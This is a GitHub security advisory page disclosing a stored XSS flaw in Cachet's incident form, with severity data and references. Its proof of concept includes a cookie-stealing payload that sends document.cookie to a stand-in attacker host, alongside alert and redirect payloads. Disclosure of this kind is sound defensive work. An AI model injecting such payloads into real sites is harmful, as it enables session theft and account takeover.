GHSA-X397-5HRV-J9M9

Vulnerability from github – Published: 2026-10-20 21:09 – Updated: 2026-10-20 21:09
VLAI
Summary
Cachet has Stored XSS in Incident Component
Details

Summary

A stored Cross-Site Scripting (XSS) vulnerability exists in the incident creation form, allowing an authenticated attacker to inject malicious HTML/JavaScript that executes in the browser of any user who views the status page, potentially leading to session token theft and account takeover.

Details

The incident Name and Message fields do not properly sanitize HTML event handler attributes. While tags appear to be filtered, event-based payloads are not blocked.

Affected endpoint: /dashboard/incidents/ Affected fields: Incident Name, Incident Message Affected version: Cachet v3

PoC

  1. Log in as an authenticated user
  2. Navigate to /dashboard/incidents/
  3. Create a new incident
  4. Insert the following payloads in the Name and Message field:

Payload 1 — Confirm XSS execution: <img src=x onerror="alert(1)">

Step 2 — Cookie/token exfiltration: <img src=x onerror="fetch('http://attacker.com/leak?c='+document.cookie)">

Step 3 — Forced redirect to sensitive page: <img src=x onerror="window.location='/dashboard/manage-customization'">

  1. Save the incident
  2. Navigate to the public status page
  3. Payload executes in the victim's browser

Payload 1

Screenshot_2026-05-05_21_19_21

Payload 2

Screenshot_2026-05-07_12_22_07

Stored XSS affecting all users who view the public status page.

An attacker can: - Confirm script execution via alert popup - Steal session cookies and XSRF tokens from authenticated users - Silently redirect victims to sensitive pages like /dashboard/manage-customization

This vulnerability could lead to full account takeover of any user who views the status page, including administrators.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "cachethq/cachet"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "2.4.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-113712"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-79"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-10-20T21:09:40Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "### Summary\nA stored Cross-Site Scripting (XSS) vulnerability exists in the incident creation form, allowing an authenticated attacker to inject malicious HTML/JavaScript that executes in the browser of any user who views the status page, potentially leading to session token theft and account takeover.\n\n### Details\nThe incident Name and Message fields do not properly sanitize HTML  event handler attributes. While \u003cscript\u003e tags appear to be filtered, event-based payloads are not blocked.\n\nAffected endpoint: /dashboard/incidents/\nAffected fields: Incident Name, Incident Message\nAffected version: Cachet v3\n\n### PoC\n\n1. Log in as an authenticated user\n2. Navigate to /dashboard/incidents/\n3. Create a new incident\n4. Insert the following payloads in the Name and Message field:\n\nPayload 1 \u2014 Confirm XSS execution:\n```\u003cimg src=x onerror=\"alert(1)\"\u003e```\n\nStep 2 \u2014 Cookie/token exfiltration:\n```\u003cimg src=x onerror=\"fetch(\u0027http://attacker.com/leak?c=\u0027+document.cookie)\"\u003e```\n\nStep 3 \u2014 Forced redirect to sensitive page:\n```\u003cimg src=x onerror=\"window.location=\u0027/dashboard/manage-customization\u0027\"\u003e```\n\n5. Save the incident\n6. Navigate to the public status page\n7. Payload executes in the victim\u0027s browser\n### Payload 1 \n\u003cimg width=\"1926\" height=\"1062\" alt=\"Screenshot_2026-05-05_21_19_21\" src=\"https://github.com/user-attachments/assets/3ec50987-332d-4ba2-8fd2-b18ccc8d8f6b\" /\u003e\n\n### Payload 2\n\u003cimg width=\"1910\" height=\"525\" alt=\"Screenshot_2026-05-07_12_22_07\" src=\"https://github.com/user-attachments/assets/3b34170d-a2f0-4962-9e20-1fc8e305c589\" /\u003e\n\n\n\nStored XSS affecting all users who view the public status page.\n\nAn attacker can:\n- Confirm script execution via alert popup\n- Steal session cookies and XSRF tokens from authenticated users\n- Silently redirect victims to sensitive pages like `/dashboard/manage-customization`\n\nThis vulnerability could lead to full account takeover of any user who views the status page, including administrators.",
  "id": "GHSA-x397-5hrv-j9m9",
  "modified": "2026-10-20T21:09:40Z",
  "published": "2026-10-20T21:09:40Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/cachethq/cachet/security/advisories/GHSA-x397-5hrv-j9m9"
    },
    {
      "type": "WEB",
      "url": "https://github.com/cachethq/core/commit/23adbb88ffa819f92be4a905ff1d812670d980a2"
    },
    {
      "type": "WEB",
      "url": "https://github.com/cachethq/core/commit/57b44a8bac0b250b0d5751e93e0349070d14606e"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/cachethq/cachet"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:P/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Cachet has Stored XSS in Incident Component"
}



Log in or create an account to share your comment.




Tags
Taxonomy of the tags.


Loading…

Loading…

Loading…

Drag nodes to arrange them. Double-click a related vulnerability to open it, or a source to visit its link. The Physics button on the left tunes the layout and the simulation; the legend at the bottom left hides or shows nodes by kind and by sighting type.

Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.

Sightings

Author Source Type Date Other

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
Vulnerability timeline

Sightings and recorded dates, grouped by day · UTC

JSON
Events included in the timeline

Loading timeline…


    Loading…

    Loading…

    Loading…

    Related by attack behaviour

    Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.